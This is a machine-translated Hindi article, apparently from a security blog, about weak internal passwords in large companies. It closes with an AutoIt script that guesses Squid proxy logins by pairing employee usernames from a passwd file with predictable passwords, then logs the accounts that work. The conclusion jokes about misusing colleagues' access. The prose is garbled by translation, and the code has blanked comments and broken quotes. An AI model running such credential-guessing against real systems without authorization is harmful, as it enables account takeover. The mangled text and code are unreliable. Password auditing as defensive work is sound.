🖕 👩‍🌾 🎁 जानकारी तक पहुंच। आंतरिक ऑडिट 👨🏿‍🎨 🔏 👨‍👨‍👦‍👦

थकाऊ संक्षिप्त परिचय।

एक नियम के रूप में, जानकारी की सुरक्षा करते समय, संपूर्ण सुरक्षा परिधि बाहर निर्मित होती है। शायद तार्किक क्योंकि मुख्य खतरे वहाँ से आते हैं। लेकिन बाहर से कमजोरियों का पता लगाना एक श्रमसाध्य और रचनात्मक कार्य है, जिसमें php, SQL इंजेक्शन, नेटवर्क भेद्यता में छिद्रों की खोज करना, कुछ अरबों md5 हैश को छांटना आदि शामिल हैं।

उसी समय, विचार के अंदर से सूचना तक पहुंच की संभावना। जो एक नियम के रूप में संरक्षित है जो बहुत कमजोर है। जाहिरा तौर पर यह माना जाता है कि अगर छेद हैं, तो वे सभी बाहर हैं - क्योंकि अंदर कुछ अखंड और अभेद्य है। ~~काश,~~ सौभाग्य से, यह ऐसा नहीं है (सूचना सामने के दोनों किनारों पर काम देती है)। वास्तव में, यह अंदरूनी जानकारी है जो सभी कोणों से सबसे अधिक मूल्यवान है और तेजी से मूल्यवान बन रही है।

So. अपने छोटे से लेख में मैं बड़े संगठनों की थोड़ी बचकानी और भोली दुनिया में पाठक को थोड़ा विसर्जित करना चाहता हूं, जहां बहुमत ~~सांता क्लॉस~~ शब्दों में विश्वास करता है: हमारे साथ सब कुछ बहुत अच्छा है और "कौन अंदर से टूट जाएगा?"

स्थिति:

बड़ी कंपनी (हजारों पीसी)
डेटाबेस और स्वयं या तृतीय-पक्ष डेवलपर्स के सॉफ़्टवेयर की उपलब्धता
डोमेन खाते, डेटाबेस और सॉफ़्टवेयर के बीच कोई अंत-से-अंत प्रमाणीकरण नहीं है। यानी दर्जनों एप्लिकेशन - हर जगह आपका उपयोगकर्ता नाम और पासवर्ड

क्लासिक समस्याएं:

झबरा कार्यक्रमों में, पासवर्ड बदलना स्पष्ट और कठिन नहीं है। यानी उपयोगकर्ता की स्थापना के बाद, वह जारी किए गए पासवर्ड का उपयोग करना जारी रखता है। अक्सर, उपयोगकर्ता यह भी सोचता है कि एसओ। मैंने व्यक्तिगत रूप से रोज़ाना कई बार दुनिया के सबसे बड़े निगमों में से एक से आवेदन का उपयोग किया, और केवल 2 वर्षों के बाद मुझे पासवर्ड बदलने के प्रस्ताव के साथ एक संवाद मिला। इससे पहले मैंने मानक पासवर्ड "12345" का उपयोग किया था
बड़ी फर्मों में, एक बड़ा कर्मचारी कारोबार करता है। 10-30% कर्मचारियों का वार्षिक कारोबार 10, 20 या 50 लोगों की कंपनी के लिए हास्यास्पद है। और अगर कंपनी में 1000 लोग हैं? यानी कई सौ लोग सालाना और निश्चित ~~रूप से,~~ एक नियम के रूप में, डोमेन तक पहुंच अवरुद्ध है। लेकिन अन्य अनुप्रयोगों के बारे में क्या?
और अगर कर्मचारी ने नहीं छोड़ा, लेकिन एक इकाई से दूसरे में स्थानांतरित हो गया? उदाहरण के लिए, एक पूर्व डोमेन व्यवस्थापक और एक व्यावसायिक इकाई में स्थानांतरित किया गया। एक आदर्श अंदरूनी सूत्र जिसके माध्यम से आप एक कंपनी के बारे में आवश्यक सभी जानकारी प्राप्त कर सकते हैं। वह न केवल जानता है कि कंपनी की महत्वपूर्ण जानकारी कहाँ है, बल्कि यह भी है कि इसे कैसे प्राप्त किया जाए
कर्मचारी बहुत लंबी छुट्टी पर जाता है। क्या सभी को इन मामलों में पहुंच को अवरुद्ध करने की आवश्यकता याद है?
कर्मचारी कहीं भी नहीं जा रहा है और स्थानांतरित नहीं किया जा रहा है। लेकिन यह पासवर्ड "" (कोई पासवर्ड नहीं) या "12345678" का उपयोग करता है
उपरोक्त सभी समस्याओं को कर्मियों की सेवा और iT के काम से मानवीय लापरवाही, आलस्य और प्रतिबंधीय अधिभार द्वारा गुणा किया जा सकता है, जिसमें पहले से ही पर्याप्त तरल पदार्थ हैं।
सामान्य तौर पर, समस्याओं की इस सूची का परिणाम यह होता है कि कंपनी जितनी बड़ी होती है, उतनी ही अधिक आंतरिक समस्याएं जमा होती हैं। क्योंकि छोटे लोगों में, एक नियम के रूप में, सब कुछ एक डोमेन, 1 सी और मानक सॉफ़्टवेयर कॉम्प्लेक्स के जोड़े से बंधा हुआ है

समाधान (आदर्श रूप से)

उपयोगकर्ता प्रशिक्षण ("अर्थ; ट्रेन - कल छोड़ दिया" - प्रबंधन प्रतिक्रिया)
एक डोमेन और एक डोमेन खाते के लिए सब कुछ टाई (तकनीकी रूप से हमेशा संभव नहीं है, आमतौर पर पैसे और संसाधनों की आवश्यकता होती है जो औचित्य करना मुश्किल है)
कीबोर्ड पासवर्ड से छुटकारा पाएं, एक मूर्त माध्यम से बंधा हुआ है (विशेष सॉफ़्टवेयर और हार्डवेयर का उपयोग करते समय कठिनाइयाँ, साथ ही निरंतर "ओह - घर पर भूल गया" और इसके साथ संघर्ष करना है कि टेप के साथ रीडर के कनेक्टर में हार्डवेयर कुंजी को जकड़ें)
कैप्चा का उपयोग करें, स्व-लिखित सॉफ़्टवेयर में प्रयासों, आईपी-एड्रेस और अन्य रचनात्मक दृष्टिकोणों की संख्या द्वारा लॉगिन प्रयासों को सीमित करना

समाधान (व्यवहार में)

एक घटना की प्रतीक्षा करें - एक विशिष्ट छेद प्लग करें
नियमित परिधि लेखा परीक्षा

अंतिम समर्थक-सक्रिय विकल्प, जिसे मैं व्यवहार में विचार करना चाहता हूं। एक सामान्य एल्गोरिथ्म जो अधिकांश अनुप्रयोगों के लिए उपयुक्त है:

कर्मचारियों की सूची खोलें
कार्यक्रम खोलें
जाँच करने के लिए आवेदन का चयन करें
कर्मचारियों और सरल पासवर्डों की सूची समाप्त होने तक उपयोगकर्ता नाम / पासवर्ड संयोजन दर्ज करें

सहमत - कुछ भी जटिल नहीं है, लेकिन समय लेने वाली प्रक्रिया अगर हाथ से की जाती है। यहां तक कि जीत की "मिठास" - 1.2, अच्छी तरह से, या 100 "बुरे लोगों" की खोज कुछ भी नहीं देगी। कुछ महीनों के बाद, फिर से जाँच करते समय, आपको नए कर्मचारियों के रूप में पूरी सूची + बोनस को फावड़ा करना होगा। स्वचालित करने की आवश्यकता है।

आप कुछ भी लिख सकते हैं। व्यक्तिगत रूप से, मैं प्रतियां नहीं तोड़ूंगा - मैंने डेल्फी और वीएस पर इस तरह की चीजें पहले की थीं, लेकिन स्क्रिप्टिंग भाषा के साथ एक आकस्मिक परिचित होने के बाद ऑटोइट इस पर बंद हो गया। यह बात सिर्फ FAST लेखन स्नैप-परिचयात्मक सार्वभौमिक उपयोगिताओं के लिए बनाई गई है। यानी जब हैश के प्रति सेकंड 9 ^ 9 ^ 9 संयोजन की गणना करने का कोई उद्देश्य नहीं है, तो एपीआई एप्लिकेशन के साथ सीधे काम करना (विशेषकर अगर यह Citrix के तहत है), और कर्मचारियों की एक वास्तविक सूची पर एक दर्जन से अधिक विभिन्न अनुप्रयोगों में कुछ अलग पासवर्ड संयोजन पर क्लिक करना काफी अच्छी बात है।

अपने लेख में सबसे सरल उदाहरण के रूप में, मैं एक संगठन में इंटरनेट एक्सेस की ऑडिटिंग का एक उदाहरण दिखाना चाहता हूं।

ठोस उदाहरण

स्क्वीड प्रॉक्सी पासवर्ड चयन पर कोई प्रतिबंध नहीं हैं। यानी एक उच्च गति के साथ लॉगिन के माध्यम से सॉर्ट करना संभव है, समानांतर में भी लॉगिन होता है। लेकिन चलो ईमानदार रहें - परिणाम 1 मिनट या कुछ दिन है - इससे कोई फर्क नहीं पड़ता। एक पासवर्ड की जाँच करने की गति लगभग 5 सेकंड प्रति खाता हमारे अनुरूप होगी। मुख्य बात यह है कि मैनुअल श्रम की कमी है और अब तक दुनिया में एकमात्र कार्यक्रम है जो प्रॉक्सी सर्वर पर पासवर्ड खोजता है, सफलता के लिए पर्याप्त है। शाम को काम से छोड़कर, हम शुरू करते हैं, सुबह हम परिणाम प्राप्त कर रहे हैं।
मैं अपने मामले में स्कैन परिणाम प्रकाशित नहीं करता, क्योंकि वे दुखी होने के लिए निकले।

; (c) lokkii ; ProxyLoginChecker v. 0.1 beta ; 1)     (passwd)  Squid    Win- (  -8)      ; 2)    : out.txt    ,   ,    ,    log.txt        login:time $file_in = FileOpen("passwd", 0) ;        If $file_in = -1 Then MsgBox(0, "Error", "    passwd") Exit EndIf $file_out = FileOpen("out.txt", 2) ;     If $file_out = -1 Then MsgBox(0, "Error", "    out.txt") Exit EndIf $file_log = FileOpen("log.txt", 2) ;     If $file_log = -1 Then MsgBox(0, "Error", "    log.txt") Exit EndIf ;      ,     While 1 $line = FileReadLine($file_in) if @error = -1 Then ExitLoop ;      squid ; : ;pupkin_pp:x:544:502:%  :/dev/null:/dev/null ; : $login = pupkin_pp ; $pwd = pup123 ; $fio =    $login = StringLeft($line, StringInStr($line, ":x:")-1+”_Nov-filial”); "pupkin_pp_Nov-filial" $pwd = StringLeft($login, 3) & “123”; “pup123" $line = StringTrimLeft( $line, StringInStr($line, "502:")+3 ) ;     $line = StringTrimLeft( $line, StringInStr($line, "%")) ;     (  )  "%" -  $fio = StringReplace ( $line, ":/dev/null:/dev/null", "") ;    $proxy = "192.168.0.1:8080" HttpSetProxy ( 2 , $proxy , $login, $pwd); $size = InetGetSize("http://        /.txt") if $size == 33333 then FileWriteLine($file_out, $login & ";"& $pwd & ";" & $fio & @CRLF) FileWriteLine($file_log, $login & ";" & @HOUR & ":" & @MIN & ":" & @SEC & @CRLF) Wend FileClose($file_in) FileClose($file_out) FileClose($file_log)

निष्कर्ष

अब आप ~~किसी अन्य व्यक्ति के ट्रैफ़िक~~ को ~~जला~~ सकते हैं और विशेष सामग्री के साथ अश्लील साइटों पर चढ़ सकते हैं, अपने सहयोगी को उजागर कर सकते हैं जो संगठन में पासवर्ड की गुणवत्ता को पूरी तरह ~~से बाधित करने के लिए कैरियर की वृद्धि में बाधा है~~ । और स्थिति को सही करने के लिए संगठनात्मक उपायों के बारे में सोचें।
पढ़ने के लिए धन्यवाद! मुझे उम्मीद है कि लेख आपके लिए दिलचस्प था (केवल स्रोत कोड को छोड़ दिया गया था), यह आपको सोचने और आपके काम में नए विचार लाएगा

ps हालाँकि मैं वाई-फाई एक्सेस पॉइंट "123456789" आदि पर "पासवर्ड" जैसे पासवर्ड का उपयोग करना पसंद करता हूं। फिर भी, मैं अपील करता हूं - ऐसा मत करो!

जानकारी तक पहुंच। आंतरिक ऑडिट